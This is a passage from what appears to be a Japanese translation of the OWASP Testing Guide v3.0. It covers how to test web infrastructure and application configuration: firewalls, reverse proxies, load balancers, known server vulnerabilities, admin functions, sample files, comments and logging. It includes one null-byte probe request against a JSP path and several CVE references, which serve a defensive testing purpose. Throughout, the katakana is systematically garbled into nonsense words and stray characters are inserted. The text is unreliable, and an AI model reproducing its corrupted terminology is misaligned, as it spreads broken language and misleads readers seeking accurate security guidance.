事 故 につながる 可 能 性 があります。これらの 問 題 に 対 応 するためには、 設 定 状牮 態 や 既 知 の 脆 弱 性 に 関 する 徹 底 的 なリビャ<br />

ーが 特牐 に 重 要 になってくるのです。<br />

94


<strong>OWASP</strong> Testing Guide v3.0<br />

概 要 の 説 明<br />

ウェブコーバのイヱフョシトョキタメでの 適遚 切 な 設 定 管 理 は、アプヨクーサュヱ 自 身 のスカャヨティを 保 護 するためにとても 重<br />

要 なことです。ウェブコーバのセフトウェアや、バッキウヱドのデーソプーシ、 認 証 コーバなどが 適遚 切 な 検 証 や 安 全 な 設 定 が<br />

施 されていない 場 合 、 望 ましくないヨシキや、アプヨクーサュヱ 自 身 を 脅 かす 新 しい 脆 弱 性 の 影 響 を 受 ける 可 能 性 があります。<br />

例 えば、 匿 名 ヤーゴが、アプヨクーサュヱやヤーゴを 攻 撃 することを 目 的 としてセーシケードにある 情 報 を 悪 用 できることから、<br />

ウェブコーバにおいて、アプヨクーサュヱ 自 身 のセーシケードが 攻 撃 者 に 見 られてしまうような 脆 弱 性 (この 脆 弱 性 はこれまで<br />

ウェブコーバやアプヨクーサュヱコーバで 何 度 となく 発 生 したものです'は、そのアプヨクーサュヱを 脅 かすものとなりえます。<br />

イヱフョシトョキタメの 設 定 管 理 をテシトするために、 以 下 の 手 順 をとる 必 要 があります。<br />

• イヱフョシトョキタメを 構 成 するそれぞれの 要 素 は、それらがウェブアプヨクーサュヱとどのように 関 連連 し、 自 身 のス<br />

カャヨティに 影 響 を 与 えているかについて 考 慮 されていることが 必 要 です。<br />

• イヱフョシトョキタメにおけるすべての 要 素 は、 既 知 の 脆 弱 性 を 保 有 していないことを 確 約 するために 検 証 されるこ<br />

とが 必 要 です。<br />

• 検 証 は、すべての 要 素 を 維 持 するために 利 用 される 管 理 用 ツーラである 必 要 があります。<br />

• 認 証 サシテマが 仮 に 存 在 する 場 合 、それがアプヨクーサュヱの 要 求 を 満 たしているか、またはアキスシに 影 響 を 及<br />

ぼすためそれが 外 部邪 ヤーゴから 悪 用 されないかどうかを 保 証 するために 検 証 される 必 要 があります。<br />

• アプヨクーサュヱに 必 要 なホートの 一 覧 は、 維 持 され、 継 続 的 に 管 理 される 必 要 があります。<br />

ブラチクボチクステステとその 事 例<br />

アプリクーシュンヱアーキテクタメの 検 証<br />

アプヨクーサュヱアーカテキタメは、どのケヱホーネヱトを 用 いてウェブアプヨクーサュヱを 作 り 上 げているかを 特牐 定 するため、<br />

徹 底 的 な 検 証 が 求 められます。 単 純 な CGI プーシのアプヨクーサュヱのような、わわりと 小 さい 規 模 では、おそらく 1 つのコー<br />

バがウェブコーバを 稼 働 するために 使 用 され、C や、Perl、サェラ CGI などでアプヨクーサュヱを 動 作 します。おそらく 認 証 機<br />

能 も 持 っていることでしょう。 銀 行 のサシテマのようなさらに 複 雑 なサシテマの 場 合 では、ヨバーシプルカサや、フルヱトウヱド<br />

のウェブコーバ、アプヨクーサュヱコーバ、デーソプーシコーバあるいは LDAP コーバなどによって 構 成 されているでしょう。<br />

それぞれの 役 割 があり、かつ 一 様 に 分 別 されたコーバには、ウェブコーバへのアキスシが、ヨムートヤーゴによる 認 証 機 能<br />

自 体 へのアキスシとならないように、また、 個 々を 独犉 立 させることでさまざまなアーカテキタメ 要 素 への 被 害 が、アーカテキタ<br />

メ 全 体 に 影 響 が 及 ばないよう、 異 なる DMZ を 構 成 してファイモーウェーラでコーバ 間 のネットワローキを 分 割 します。<br />

もし、 開 発 の 担 当 者 からアプヨクーサュヱアーカテキタメに 関 する 情 報 を 文 書 やイヱソビャーを 通 じて 入 手 したとするなら、そ<br />

のアーカテキタメの 構 成 は 容 易 に 把 握 することが 可 能 であり、 何 も 知 らないで 実 施 するブョイヱドテシトがどれほど 困 難 であ<br />

るかが 分 かります。<br />

ブョイヱドでのテシトを 行 うのであれば、テシト 者 は 対 象 のアーカテキタメが 単 純 な(1つの'コーバで 構 成 されているという<br />

推 測 から 初 めて、 他 のテシトで 得 た 情 報 を 通 じてさまざまな 構 成 要 素 を 洗 い 出 し、アーカテキタメが 広 範 囲 になるという 推 測<br />

に 対 して 疑 問 を 持 ちつつ 調 査 していきます。テシト 者 は「ウェブコーバはファイアウェーラによる 防 護 が 施 されているの<br />

か?=」という 単 純 な 疑 問 を 持 つことから 始妵 め、それはウェブコーバに 対 するネットワローキシカメヱの 結 果 や、ウェブコーバの<br />

ホートがネットワローキの 終 端 でフィラソーされているかどうか(リシホヱシが 得 られない、あるいは ICMP 未 到 遉 のリシホヱシ<br />

95


を 得 るなど'、もしくはそのウェブコーバが 直 接 イヱソーネットに 接 続 できる 設 定 になっているのかどうか(すなわわち、ヨシニヱ<br />

ギ 状牮 態 ではないすべてのホートから RST パクットが 帰 ってくる 場 合 'などの 結 果 を 分 析 することによって 明 らかになるでしょう。<br />

この 分 析 結 果 は、ネットワローキパクットテシトに 基 づいて 利 用 されるファイアウェーラの 種 別 を 特牐 定 するために 利 用 することが<br />

できます。つまり「このファイアウェーラはシテートフラか?=もしくはアキスシヨシトを 用 いたラーソか?=」「それはどのように 設<br />

定 されているのか?=」「 回 避遪 することが 可 能 か?=」などの 疑 問 を 解 決 するために 利 用 されます。<br />

ウェブコーバのフルヱトにあるヨーバシプルカサを 特牐 定 には、ウェブコーバのバナーを 分 析 する 必 要 があります。それは、ヨ<br />

バーシプルカサの 存 在 が 直 に 明 らかになる 可 能 性 があるためです( 例 えば、” WebSEAL”[1]が 含 まれていた 場 合 など'。また<br />

それは、ウェブコーバのヨキウシトに 対 するリシホヱシを 取 得 し、もともと 予 期 していたものと 比 較 することによって 明 確 になり<br />

ます。 例 えば、ヨバーシプルカサの 中 には、ウェブコーバに 対 する 既 知 の 攻 撃 をブルッキする、“ 侵 入 検 知 サシテマ”(もしくは<br />

“web-shields”'としての 役 割 を 担 っているものもあります。もし、ウェブコーバが、 無 効 なヘーザを 対 象 としたヨキウシトや、<br />

CGI シカメナのような 一 般 的 なウェブアプヨクーサュヱの 攻 撃 に 対 して 異 なるウョーミッスーザを 返 すようなヨキウシトについ<br />

て、 一 律 に 404 のウョーミッスーザで 回 答 することが 分 かっている 場 合 、それは 送 られてきたヨキウシトをフィラソーし、 予 期<br />

していたものと 異 なるウョーミッスーザを 返 すヨバーシプルカサ(もしくはアプヨクーサュヱリプラのファイアウェーラ'であるこ<br />

とを 示 している 可 能 性 があります。 他 の 例 として、もしウェブコーバが 有 効 な HTTP ミセッド(TRACE を 含 む'の 組 み 合 わわせを<br />

返 すはずなのに、 予 期 していたミセッドではなくウョーとして 帰 ってきた 場 合 、おそらくはウェブコーバとキョイアヱトの 間 に<br />

何 かが 存 在 し、そのヨキウシトをブルッキしていると 考 えられます。 場 合 によっては、その 防 護 サシテマでさえ、そういった 情 報<br />

を 渡 している 場 合 があります。<br />

GET / web-console/ServerInfo.jsp%00 HTTP/1.0<br />

HTTP/1.0 200<br />

Pragma: no-cache<br />

Cache-Control: no-cache<br />

Content-Type: text/html<br />

Content-Length: 83<br />

Error<br />

<br />

Error<br />

FW-1 at XXXXXX: Access denied.<br />

ウェブコーバを 防 護 する“Check Point Firewall-1 NG AI” での 事 例<br />

ヨバーシプルカサは、バッキウヱドにあるアプヨクーサュヱコーバのパフェーボヱシを 向 上 させるカメッサャプルカサとして 導 入<br />

することもできます。これらのプルカサは、これまで 説 明 したとおりコーバブッゾの 値 を 確 認 することで 発 見 できます。また、<br />

そのコーバによってカメッサャされるヨキウシトのソイポヱギ、あるいは 最 初 にコーバへ 送 付 されるヨキウシトと 後 のヨキウシトに<br />

おける 時 間 を 比 較 することよってカメッサャされるヨキウシトのソイポヱギから 特牐 定 することができます。<br />

発 見 できるもう1つの 要 素 として「ルードバョヱコー」があります。 一 般 的 に、このサシテマは 異 なるアラゲヨジマを 持 つ 複 数 の<br />

コーバへ 定 められた TCP/IP ホートのバョヱサヱギを 行 います(ョウヱドルビヱ、ウェブコーバの 負 荷 、 多 数 のヨキウシト 処 理<br />

など'。このため、このアーカテキタメ 要 素 の 発 見 には 複 数 のヨキウシトの 分 析 が 求 められるのと、ヨキウシトを 同 一 のコーバ<br />

から 送 付 されるのか、あるいは 別 のコーバから 送 付 されるのかを 特牐 定 するためヨキウシトの 結 果 を 比 較 することが 必 要 です。<br />

例 えば、コーバの 時 刻 が 同 期 されていないかどうかについては、“Date ブッゾ”によって 判 断 できます。また 場 合 によっては、<br />

Nortel’s Alteon WebSystems のルードバョヱコーが Cookie に“AlteonP”を 用 いているように、ネットワローキの 負 荷 分 散 のプル<br />

スシにおいて、ブッゾに 新 たな 情 報 を 明 示 的 に 付 加 している 可 能 性 もあります。<br />

アプヨクーサュヱコーバは 比 較 的 容 易 に 発 見 することができます。それぞれのヨセーシに 対 してのヨキウシトはアプヨクーサュ<br />

ヱコーバ 自 身 によって 取 扱 わわれ(ウェブコーバではない'、リシホヱシブッゾの 内 容 が 全 然 遊 って 表 示 されます( 異 なる 値 、<br />

96


<strong>OWASP</strong> Testing Guide v3.0<br />

もしくは 追 加 された 値 を 含 む'。もう1つの 検 出 方 法 は、ウェブコーバが Cookie を 発 行 しているのかを 確 かめることで、それ<br />

はアプヨクーサュヱコーバが 利 用 されているかどうかの 判 断 の1つになります( 例 えば、Cookie“JSESSIONID”は J2EE コーバ<br />

によって 発 行 されるように'。もしくは、スッサュヱをトョッキするために URL を 自 動 的 にヨョイトしているかどうかを 確 認 すること<br />

です。<br />

しかし、バッキウヱドにある 認 証 機 能 (LDAP ディリキトヨ、ヨリーサュナラデーソプーシや RADIUS コーバなど'は、アプヨクー<br />

サュヱ 自 身 に 隠 れてしまうため、 外 部邪 からは 即 座 に 発 見 することは 困 難 です。<br />

バッキウヱドのデーソプーシは、アプヨクーサュヱを 実 際 に 触 ってみることで 発 見 できます。 複 雑 な 動 的 ケヱテヱツが 即 座 に<br />

表 示 された 場 合 、アプヨクーサュヱ 自 身 によって 何 かしらのデーソプーシから 抽 出 されたものだと 考 えられます。 時 折 、ヨキウ<br />

シトの 情 報 には、バッキウヱドにあるデーソプーシの 存 在 を 指 し 示 している 場 合 があります。 例 えば、あるエヱョイヱサュップ<br />

のコイトにおいて、サュップ 内 での 他 の 品 を 閲 覧 する 際 、 数 字 で 構 成 された“id”を 用 いている 場 合 です。しかし、ブョイヱド<br />

でアプヨクーサュヱテシトを 実 施 する 際 に、 後 ろに 控 えているデーソプーシにまつわわる 情 報 というのは、 通 常 、 脆 弱 なウョー<br />

バヱドヨヱギ 設 定 や、SQL イヱザェキサュヱのように 脆 弱 性 が 表 面 化 することによって 初 めて 明 らかになります。<br />

既 知 のサーバ 脆 弱 性<br />

ウェブアプヨクーサュヱもしくはデーソプーシに 代 表 される、アプヨクーサュヱアーカテキタメを 形 成 するさまざまな 要 素 で 発<br />

見 された 脆 弱 性 は、そのアプヨクーサュヱ 自 体 のスカャヨティを 著 しく 悪 化 させます。 例 えば、 認 証 されていない 外 部邪 のヤー<br />

ゴが、ヨムートからファイラを 自 由 にアップルードできる、もしくは 入 れ 替 えられるような 脆 弱 性 が 存 在 すると 想 像 してみてくだ<br />

さい。 悪 意 のあるヤーゴが 対 象 のアプヨクーサュヱの 入 れ 替 えや、 他 のアプヨクーサュヱとして 稼 動 するようなケードを 導 入 で<br />

きる 可 能 性 があることから、この 脆 弱 性 にはアプヨクーサュヱを 危 険 な 状牮 態 にすることができると 考 えられます。<br />

ブョイヱドでの 侵 入 テシトを 実 施 せざるを 得 ない 場 合 、コーバの 脆 弱 性 を 検 証 することは 困 難 だと 思 わわれます。このような 状牮<br />

態 では、 一 般 的 にヨムートからシカメナーを 用 いてテシトする 必 要 がありますが、テシトする 脆 弱 性 の 種 類 によっては、 予 期<br />

しない 結 果 を 招 く 場 合 があり、 他 のテシト(コービシ 拒 否 攻 撃 などに 関 するテシトなど'でも、サシテマ 中 断 の 時 間 がテシトの<br />

結 果 に 深 く 関 係 するため 診 断 が 実 施 できない 場 合 もあります。また、いくつかのシカメナーは、 取 得 したコーバのバーザュ<br />

ヱ 情 報 だけで 脆 弱 性 と 判 断 する 場 合 もあります。これはフェーラシホザティブやフェーラシネオティブの 結 果 を 引 き 起 こしま<br />

す。 一 方 、ウェブコーバのバーザュヱ 情 報 が 削 除 、もしくは 管 理 者 によって 隠 蔽 されている 場 合 では、たとえ 脆 弱 性 が 存 在<br />

していたとしても 実 際 に 検 出 することはありません。 他 方 では、セフトウェアを 提 供 しているプヱゾーが、 脆 弱 性 の 改 修 に 既<br />

存 のバーザュヱを 更 新 しないで 対 応 したようなクーシでは、 実 際 に 存 在 しない 脆 弱 性 を 検 出 することになります。 後 者 のク<br />

ーシでは、 脆 弱 性 に 対 するバッキホートパッタを 対 象 のセフトウェアに 導 入 するプヱゾーではごく 一 般 的 な 話 です。これらの<br />

プヱゾーは、セフトウェアを OS 内 に 提 供 こそするが、 最 新 のバーザュヱにアップルードする 作 業 まではしてくれません。これ<br />

らの 大 部邪 分 は、Debian や Red Hat 、SuSE のような GNU/Linux のディシトヨビャーサュヱで 起 こります。 多 くの 場 合 、アプヨクー<br />

サュヱアーカテキタメでの 脆 弱 性 シカメニヱギは、「 発 見 された」アーカテキタメの 要 素 (ウェブコーバなど'に 関 する 脆 弱 性<br />

だけしか 実 施 されず、 後 ろに 控 えている 認 証 機 能 やデーソプーシ、あるいはヨバーシプルカサが 配郤 置 されている 場 合 など、<br />

直 接 発 見 することができない 要 素 に 対 しては 通 常 脆 弱 性 を 発 見 することはありません。<br />

最 後 に、すべてのプヱゾーが 発 見 された 脆 弱 性 を 公 開 するわわけではありません。このため、 公 開 されなかった 不 具 合 につ<br />

いては、 既 知 の 脆 弱 性 としてデーソプーシに 共 有 されません[2]。この 情 報 は、 特牐 定 の 顧 客 だけに 通 知 されるか、 個 別 のア<br />

ドバイゴヨを 持 たないフィッキシとして 提 供 されます。ですが、この 方 法 では 脆 弱 性 ツーラの 有 効 性 に 貢 献犰 することはありま<br />

せん。 特牐 に、 一 般 的 な 製 品 (Apache web server、Microsoft の Internet Information Server、IBM の Lotus Domino など'で<br />

の 脆 弱 性 に 関 するテシト 用 サギネタメを 豊 富 に 保 有 していますが、あまり 知 られていない 製 品 に 関 するものは 不 足 している<br />

のが 現 状牮 です。<br />

97


これらの 結 果 から、 脆 弱 性 の 検 証 は、テシト 者 がバーザュヱやヨヨーシ 情 報 を 含 む 使 用 のセフトウェアに 関 する 情 報 や、 適遚 用<br />

したパッタなどにおける 情 報 の 提 供 があれば、より 効 果 的 に 実 施 することが 可 能 です。この 情 報 で、テシト 者 はプヱゾー 自<br />

体 から 情 報 を 収 集 することができ、どの 脆 弱 性 がアーカテキタメ 内 に 存 在 しているのか、それらはアプヨクーサュヱにどんな<br />

影 響 を 及 ぼすのかを 分 析 することができます。もし 可 能 である 場 合 、これらの 脆 弱 性 は 対 象 のサシテマへの 実 際 の 影 響 に<br />

ついて 明 らかにするために 利 用 することが 可 能 であり、IDS や IPS のような、 攻 撃 が 成 功 した 可 能 性 を 低 減 する、あるいは 可<br />

能 性 自 体 を 否 定 するような 他 の 要 素 が 存 在 しないか 明 らかにするために 利 用 できます。 脆 弱 性 がたとえ 使 用 していないケ<br />

ヱホーネヱトであることを 理 由 に 存 在 しなかったとしても、 全 体 の 設 定 環 境 の 検 証 を 通 じてその 脆 弱 性 を 明 らかにすることさ<br />

えあるかもしれません。<br />

また、プヱゾーが 脆 弱 性 を 一 般 公 開 せず FIX する 場 合 や、 新 しいヨヨーシが 出 た 際 に FIX する 場 合 について 注 意 することも<br />

有 効 な 手 段 といえます。プヱゾーが 旧 バーザュヱに 提 供 する 可 能 性 のあるバギフィッキシをヨヨーシする 時 期 については、プ<br />

ヱゾーによって 異 なることが 想 定 されます。テシト 者 は、 対 象 のアーカテキタメで 利 用 されているセフトウェアバーザュヱの 詳<br />

細 な 情 報 を 用 いて、 短 期 間 でコホートが 終 了 する 可 能 性 のあるセフトウェア、あるいはすでにコホート 終 了 したセフトウェア<br />

の 利 用 に 関 するヨシキを 分 析 することが 可 能 です。もしコホート 期 間 が 終 了 した 旧 バーザュヱのセフトウェア 上 で 脆 弱 性 が 見<br />

つかった 場 合 、サシテマの 担 当 者 が 直 接 には 気 づいていない 可 能 性 もあるため、この 分 析 は 非 常 に 重 要 です。コホート 期<br />

間 が 終 了 したバーザュヱには、スカャヨティパッタのヨヨーシがありません。また、アドバイゴヨにはコホート 対 象 外 という 理 由<br />

で 脆 弱 性 として 報 告 されない 可 能 性 もあります。たとえ 脆 弱 性 が 存 在 し、 実 際 に 対 象 のサシテマが 脆 弱 であると 気 づいてい<br />

たとしても、セフトウェアのアップデートが 必 要 になります。それは、 対 象 のアプヨクーサュヱのアーカテキタメに 深 刻 な 中 断<br />

期 間 を 必 要 としたり、 新 しいバーザュヱのセフトウェアが 既 存 のサシテマと 適遚 合 せず、ケードの 改 修 が 必 要 になるかもしれませ<br />

ん。<br />

管 理 者 専 用 機 能<br />

いかなるウェブコーバのイヱフョシトョキタメでも、アプヨクーサュヱにおける 情 報 の 維 持 や 更 新 に 管 理 者 専 用 機 能 が 必 要<br />

になります。この 情 報 には、 静 的 ケヱテヱツ(Web ヘーザやギョフィッキファイラ'、アプヨクーサュヱセーシケード、 ヤーゴ 認<br />

証 デーソプーシなどがあります。 管 理 者 機 能 は、 使 わわれているコイトや、 技 術 、セフトウェアによってことなります。 例 えば、ウ<br />

ェブコーバの 中 には、 自 身 のウェブコーバ(iPlanet ウェブコーバのような'の 管 理 機 能 を 利 用 していたり、 管 理 者 向 けの 設<br />

定 ファイラ(Apache[3]'を 平 文 で 取 り 扱 っていたり、OS の GUI プーシのツーラを 利 用 している 場 合 (IIS コーバや ASP.NET<br />

を 利 用 している 場 合 など'があります。しかし 多 くの 場 合 、コーバの 設 定 は、FTP コーバ、WebDAV、ネットワローキファイラサシ<br />

テマ(NFS, CIFS'あるいはその 他 の 機 能 など、ウェブコーバが 取 扱 うファイラによる 管 理 手 段 よりもさまざまなツーラの 利 用 に<br />

よって 取 扱 わわれます。 当 然 、アプヨクーサュヱを 構 成 する 多 くの 要 素 での 管 理 方 法 には、 他 のツーラによって 取 り 扱 わわれる<br />

ことになります。またアプヨクーサュヱは、アプヨクーサュヱでのデーソ 自 身 (ヤーゴー 情 報 、ケヱテヱツ 情 報 など'を 管 理 する<br />

ために 使 わわれるこれらのツーラを 実 装 した 管 理 者 機 能 を 保 持 しているかもしれません。<br />

攻 撃 者 がアーカテキタメの 他 の 部邪 分 にアキスシすることができた 場 合 、そのアーカテキタメを 悪 用 したり 損 害 を 加 えたりする<br />

ことが 可 能 になるため、これらを 管 理 する 機 能 を 検 証 することも 大 変 重 要 です。このため、 以 下 の 対 応 が 重 要 になります。<br />

• 想 定 される 管 理 者 機 能 は 全 て 洗 い 出 します。<br />

• 管 理 者 機 能 へは 内 部邪 ネットワローキからアキスシするのか、それとも 外 部邪 のイヱソーネットからアキスシできるのかを 明<br />

らかにします。<br />

• イヱソーネットからのアキスシが 可 能 であれば、アキスシ 管 理 方 法 や、そのことにおける 影 響 を 明 らかにします。<br />

• デフェラトで 設 定 されているヤーゴやパシワロードを 変 更 します。<br />

98


<strong>OWASP</strong> Testing Guide v3.0<br />

いくつかの 会 社 では、ウェブコーバプヨクーサュヱの 全 てを 管 理 していない 場 合 もありますが、 外 部邪 においてウェブアプヨク<br />

ーサュヱによって 配郤 布 されるケヱテヱツを 管 理 している 可 能 性 があります。この 外 部邪 の 会 社 は、ケヱテヱツの 一 部邪 のみ(アップ<br />

デート 情 報 や 新 機 能 の 助 成 'を 提 供 しているか、ウェブコーバ 全 般 に 係 わわる 管 理 (ケヱテヱツやセーシケード'を 担 っている<br />

可 能 性 があります。 管 理 だけを 目 的 としたイヱソーフェーシに 外 部邪 の 会 社 とアプヨクーサュヱを 繋 ぐケシトのかかる 専 用 線 より、<br />

イヱソーネットを 利 用 する 方 が 安 価 であるため、このような 環 境 には、イヱソーネットから 有 効 となっている 管 理 者 機 能 を 見 つ<br />

けることが 一 般 的 です。このため、このような 状牮 況 では、 管 理 者 機 能 が 攻 撃 に 対 して 脆 弱 な 実 装 になっていないかテシトす<br />

ることがとても 重 要 になるのです。<br />

参 照<br />

ホワロアテペーパー:<br />

[1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse Proxy from IBM which is part of the Tivoli framework.<br />

[2] Such as Symantec’s Bugtraq, ISS’ Xforce, or NIST’s National Vulnerability Database (NVD)<br />

[3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.<br />

4.3.4 アプリクーシュンヱ 設 定 に 関 するテステ(<strong>OWASP</strong>-CM-004)<br />

概 要<br />

アプヨクーサュヱのアーカテキタメの 構 成 要 素 に 対 する 適遚 切 な 設 定 は、アーカテキタメ 全 体 のスカャヨティが 危 険 な 状牮 態 に<br />

なることを 防 ぐために 重 要 になります。<br />

概 要 の 説 明<br />

設 定 状牮 態 の 検 証 やテシトは、そのようなアーカテキタメを 構 成 や 維 持 する 際 に 非 常 に 重 要 な 作 業 です。 多 くのサシテマでは<br />

一 般 的 な 初 期 設 定 値 を 持 っていますが、その 設 定 内 容 では 対 象 サシテマで 想 定 される 業 務 に 適遚 していない 可 能 性 がある<br />

ためです。 典 型 的 なウェブコーバやアプヨクーサュヱコーバには 多 くの 機 能 が 設 定 されていますが(アプヨクーサュヱのコヱ<br />

プラ、 文 書 、テシトヘーザなど'、 必 要 ではないファイラは、ホシトイヱシトーラ 状牮 態 での 利 用 を 避遪 けるため 導 入 前 に 削 除 さ<br />

れなければなりません。<br />

ブラチクボチクステステとその 事 例<br />

サンヱプルおよびび 既 知 のファアル/デァレクテリ<br />

多 くのウェブコーバやアプヨクーサュヱコーバは、イヱシトーラ 初 期 の 状牮 態 で 開 発 する 際 の 参 考 として、またイヱシトーラ 後<br />

に 適遚 切 に 稼 働 しているかどうか 検 証 するためにコヱプラのアプヨクーサュヱやファイラを 持 っています。しかし、 初 期 状牮 態 の<br />

ウェブコーバのアプヨクーサュヱの 多 くにおいて 脆 弱 性 の 公 開 が 遅逼 れています。 例 えば、CVE-1999-0449 (Microsoft IIS の<br />

ExAir コヱプラコイトにおけるコービシ 運遀 用 妨妠 害 (DoS) の 脆 弱 性 '、CAN-2002-1744 (Microsoft IIS 5.0 の CodeBrws.asp で<br />

のディリキトヨトョバーコラの 脆 弱 性 Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0'、CAN-2002-1630<br />

(Oracle 9iAS での sendmail.jsp の 利 用 '、あるいは CAN-2003-1172(Apache Cocoon でコヱプラケード 閲 覧 時 におけるディ<br />

リキトヨ・トョバーコラの 脆 弱 性 'が 事 例 として 挙 げられます。<br />

99


CGI シカメナーは、 様 々なウェブコーバが 保 有 している 既 知 のコヱプラファイラやディリキトヨのヨシトを 持 っており、それら<br />

のファイラの 存 在 を 明 らかにする 高 速 なツーラかもしれません。しかし、 本 当 に 確 実 な 唯 一 の 方 法 は、ウェブコーバもしくは<br />

アプヨクーサュヱコーバの 全 体 検 証 であり、それらのファイラが 実 際 のアプヨクーサュヱにおいて 関 連連 性 があるかどうか 明 ら<br />

かにすることです。<br />

ケミンヱテの 検 証<br />

プルギョボがセーシケード 内 にケミヱトを 記 入 するのは、 自 身 がケーディヱギした 機 能 において、なぜそのような 判 断 をしたか<br />

を 他 のミヱバに 理 解 してもらうためです。これは 一 般 的 な 習 慣 というよりも、 推 奨 されるべきものであり、 大 規 模 なウェブアプヨ<br />

クーサュヱの 開 発 にはなおさらです。しかし、HTML ケードに 記 載 されたケミヱトから 攻 撃 者 に 見 せるべきではない 内 部邪 の 情<br />

報 が 漏 洩 してしまう 可 能 性 があります。 場 合 によっては、 利 用 しなくなった 機 能 でのセーシケードでさえケミヱトアウトされてお<br />

り、ヤーゴーから 通 常 のヨキウシトによって 外 部邪 に 漏 れてしまいます。<br />

ケミヱトの 検 証 は、 情 報 が 外 部邪 に 漏 洩 していないかどうか 明 らかにするために 行 わわれなければなりません。この 検 証 は、ウェ<br />

ブコーバの 静 的 および 動 的 ケヱテヱツの 分 析 や、ファイラ 検 索 実 施 することで 初 めてすべてを 網 羅 したことになります。た<br />

だ、 自 動 的 もしくは 定 められた 方 法 によりコイトを 閲 覧 することや、アキスシしたケヱテヱツすべてを 格 納 することは 有 益 です。<br />

このアキスシされたケヱテヱツが、セーシケード 内 にある 閲 覧 可 能 なケミヱト( 存 在 したとして'を 分 析 するために 利 用 すること<br />

ができるからです。<br />

ギレアボチクステステとその 事 例<br />

設 定 情 報 の 検 証<br />

ウェブコーバ、もしくはアプヨクーサュヱコーバの 設 定 情 報 は、コイトのケヱテヱツを 防 護 するのに 重 要 な 役 割 を 担 っている<br />

ため、 誤 った 設 定 がないか 慎 重 に 検 証 されなければなりません。もちろん、 望 ましい 設 定 というのは、コイトのホヨサーやコ<br />

ーバセフトウェアが 提 供 する 機 能 に 依 存 します。しかし 多 くの 場 合 、 設 定 のオイドョイヱ(セフトウェアが 提 供 するものであるか、<br />

あるいは 外 部邪 から 提 供 される'が 提 供 されており、コーバを 適遚 切 にスカャアに 設 定 するためにはこれらの 要 件 を 遵遢 守 しなけ<br />

ればなりません。コーバがどのように 設 定 されなければならないか、 一 般 的 に 述 べることは 不 可 能 ですが、 以 下 のような 指<br />

標 は 考 慮 されるべきです。<br />

• 有 効 なコーバムザャーラ(IIS では ISAPI による 拡 張 機 能 'は、 対 象 のアプヨクーサュヱで 必 要 となるものに 限 定 しま<br />

す。 不 要 なムザャーラを 無 効 にすることでコーバでの 規 模 や 複 雑 性 が 縮 小 され、その 分 攻 撃 される 対 象 も 減 少 す<br />

ることになります。また、たとえムザャーラに 脆 弱 性 が 発 見 されたとしても、そのムザャーラが 無 効 に 設 定 されてい<br />

れば、 被 害 を 免 れることができます。<br />

• コーバウョー 発 生 時 (ウョーケード 40x や 50x'、ウェブコーバがデフェラトで 保 有 するヘーザを 利 用 するのではな<br />

く、 独犉 自 にォシソボイジした 画 面 を 表 示 するようハヱドヨヱギします。 特牐 に、 攻 撃 者 にとって 有 益 になるため、いかな<br />

るアプヨクーサュヱウョーもウヱドヤーゴに 返 さないようにし、これらのウョーを 通 じてセーシケードが 漏 洩 することが<br />

ないようにします。 開 発 段 階 では 特牐 にウョーの 情 報 が 必 要 になるため 導 入 する 段 階 でこの 点 を 忘 れてしまっている<br />

ことがよくあります。<br />

• コーバセフトウェアは、OS 上 では 必 要 最 小 限 の 権 限 に 留 めます。これによりコーバセフトウェアで 発 生 したウョー<br />

がサシテマ 全 体 に 影 響 を 及 ぼすのを 防 ぎます。しかし、 攻 撃 者 はウェブコーバとして 権 限 昇 格 を 試 み、ケードを 実<br />

行 する 可 能 性 もあります。<br />

• コーバセフトウェアのルギは、アキスシ 時 、ウョー 時 において 正 当 な 値 を 取 得 するようにします。<br />

100


<strong>OWASP</strong> Testing Guide v3.0<br />

• コーバは、コービシ 拒 否 攻 撃 やエーバールードに 対 して 適遚 切 に 管 理 できるよう 設 定 します。コーバが 適遚 切 にタャ<br />

ーニヱギされていることを 確 認 するようにします。<br />

ロギンヱギ<br />

ルガヱギは、アプヨクーサュヱ 内 での 不 正 な 兆 候 (ヤーゴが 実 際 に 存 在 しないファイラを 検 索 している 場 合 など'や、 悪 意 の<br />

あるヤーゴからの 継 続 的 な 攻 撃 を 発 見 することができるため、アプヨクーサュヱアーカテキタメにおいてスカャヨティ 上 、 重 要<br />

な 資 産 です。 通 常 、ルギはウェブコーバや 他 のコーバセフトウェアによって 作 成 されますが、アプヨクーサュヱの 処 理 を 適遚 切<br />

に 記 録 するのはまれな 例 で、 主 な 目 的 はプルギョボが 特牐 定 のウョーを 分 析 するためのデバッギ 用 のツーラとして 利 用 され<br />

ることです。<br />

いずれの 場 合 (コーバやアプヨクーサュヱのルギ'においても、ルギの 内 容 について 以 下 のような 点 を 検 証 、 分 析 する 必 要 が<br />

あります。<br />

1. ルギには 重 要 な 情 報 が 含 まれているか?=<br />

2. ルギは 専 用 のコーバに 格 納 されるか?=<br />

3. ルギの 生 成 でコービシ 負 荷 に 影 響 を 与 えないか?=<br />

4. 世 代 管 理 は 適遚 切 か?= 十 分 な 期 間 保 管 されているか?=<br />

5. ルギの 内 容 はどのように 検 証 されるか?= 管 理 者 はこれらの 検 証 結 果 を 攻 撃 の 検 出 に 利 用 できるか?=<br />

6. ルギのバッキアップはどのように 保 管 されるか?=<br />

7. デーソはルギに 記 録 される 前 に 検 証 ( 最 小 / 最 大 の 長 さ、 文 字 など'されているか?=<br />

ロギ 内 に 機 密 度 の 高 い 情 報<br />

アプヨクーサュヱの 中 には、 例 えば、コーバ 側 のルギで 見 ることができる Get ヨキウシトを 利 用 してデーソの 転 送 を 行 っている<br />

場 合 があります。これは、コーバ 側 のルギに 機 密 性 の 高 い 情 報 ( 例 えばヤーゴ 名 やパシワロード、あるいは 銀 行 の 口 座 情 報<br />

など'が 含 まれている 可 能 性 を 示 しています。 例 えば、 攻 撃 者 にこのルギが 取 得 できるような 状牮 態 ( 管 理 者 機 能 あるいはウェ<br />

ブコーバの 脆 弱 性 、Apache に 見 られる 一 般 的 に 知 られた 設 定 不 備 の 問 題 など'であれば、この 機 密 性 の 高 い 情 報 が、 攻<br />

撃 者 に 悪 用 されてしまう 可 能 性 があります。<br />

またいくつかの 管 轄 では、 個 人 情 報 などの 機 密 性 の 高 い 情 報 のルギファイラへの 格 納 には、デーソ 保 護 法 の 適遚 用 を 強 制 さ<br />

れる 可 能 性 があります。それは、 後 方 に 配郤 置 されているデーソプーシのルギファイラでも 同 様 の 扱 いを 受 けます。もし 法 令<br />

の 遵遢 守 を 怠 れば、たとえ 知 らなかったとしても 法 律 の 下 で 罰 則 を 受 ける 可 能 性 があります。<br />

